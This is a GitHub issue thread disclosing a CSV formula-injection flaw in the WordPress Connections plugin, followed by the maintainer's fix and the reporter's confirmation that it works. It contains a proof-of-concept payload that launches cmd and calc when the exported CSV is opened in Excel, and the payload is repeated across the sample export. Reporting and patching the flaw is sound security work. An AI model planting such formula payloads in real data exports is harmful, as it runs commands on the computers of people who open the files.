Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Connections 0.7.3.2 <= 9.6 CSV Injection #474

Closed
rudSarkar opened this issue May 29, 2020 · 9 comments
Closed

Connections 0.7.3.2 <= 9.6 CSV Injection #474

rudSarkar opened this issue May 29, 2020 · 9 comments
Assignees

Comments

@rudSarkar
Copy link

Description

CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. Which lead to hijacking user’s computer by exploiting with untrusted input. In this plugin, all the input fields of connections_add are affected.

Affected Item

Export All feature

Affected Version

0.7.3.2 <= 9.6

Tested With

Wordpress 5.4.1

Step to reproduce

  1. Login to your website
  2. Visit http://localhost/wordpress/wp-admin/admin.php?page=connections_add
  3. In the input filed add payload @SUM(1+1)*cmd|' /C calc'!A0
  4. Visit Connections Tools and then click on Export All
  5. It will download a file cn-export-all-MM-DD-YYYY.csv open it with Microsoft Excel
  6. It will open CMD

Exported CSV File

Entry ID Order Entry Type Visibility Categories Family Name Honorific Prefix First Name Middle Name Last Name Honorific Suffix Title Organization Department Contact First Name Contact Last Name Home Address | Line One Home Address | Line Two Home Address | Line Three Home Address | Line Four Home Address | District Home Address | County Home Address | City Home Address | State Home Address | Zipcode Home Address | Country Home Address | Latitude Home Address | Longitude Home Address | Visibility Phone Number Phone Visibility Email Address Email Visibility Social Url Social Visibility Im Uid Im Visibility Links Url Links Title Links Visibility Dates Date Dates Visibility Biography Notes Photo URL Logo URL
2 0 individual public Uncategorized @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 @sum(1+1)*cmd|' /C calc'!A0 public

All fields are not checked because getData() doesn't filter any of the fields.

public function getData() {
/** @var wpdb $wpdb */
global $wpdb;
$offset = $this->limit * ( $this->step - 1 );
//if ( 2 <= $this->step ) return FALSE;
$sql = $wpdb->prepare(
'SELECT SQL_CALC_FOUND_ROWS *
FROM ' . CN_ENTRY_TABLE . '
WHERE 1=1
ORDER BY id
LIMIT %d
OFFSET %d',
$this->limit,
absint( $offset )
);
$data = $wpdb->get_results( $sql );
// The number of rows returned by the last query without the limit clause set
$found = $wpdb->get_results( 'SELECT FOUND_ROWS()' );
$this->setCount( (int) $found[0]->{'FOUND_ROWS()'} );
$data = apply_filters( 'cn_export_get_data', $data );
$data = apply_filters( 'cn_export_get_data_' . $this->type, $data );
return $data;
}

Reference

OWASP CSV Injection

Hopefully, it will fix soon, Let me know if you have any questions.

Thanks,
@rudSarkar

@shazahm1
Copy link
Member

Spent the morning delving into this and investing solution implemented by other:

I liked the solution which did not try to hide the potential malicious activity, instead it informed the user.

Commit ece2392 , not yet tested, should mitigate the issue. I'll work to test and push out the fix asap. Thanks for reporting!

@rudSarkar
Copy link
Author

Hi @shazahm1 ,

Thanks for the response. Can you label it as bug ?

@shazahm1 shazahm1 self-assigned this May 30, 2020
@shazahm1
Copy link
Member

I'll label it as an enhancement ... everything I've read digging into this today seems to indicate this is actually bug/security issue in spreadsheet apps that will not be fixed outside of some click thru warnings to the user.

@shazahm1
Copy link
Member

Oh, really just semantics any way since I'll be pushing a fix that contains a workaround to prevent this bug in spreadsheet apps. You have to admin, the "solutions" are just workarounds :)

@rudSarkar
Copy link
Author

I know that it's the admin side. But it known as security issue https://auth0.com/docs/security/bulletins/2020-03-31_wpauth0 please check the link here they already marked it as Bug.

Thanks

@shazahm1
Copy link
Member

I thank your for taking the time to leave a thorough report on how Connections could be utilized to exploit a security in spreadsheet apps!

Have you had a moment to test the patch? I'm confident it will as I implemented a similar workaround as in use by other popular open source project.

It would be great to have another verify before an update is released. If you do not have the time, I understand and again thank you for taking the time to let me know about this.

@rudSarkar
Copy link
Author

Sure, I will test the patch tomorrow.

@rudSarkar
Copy link
Author

This regex works good.

@shazahm1
Copy link
Member

Sorry, I forgot to followup. This was merged and released. thx!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants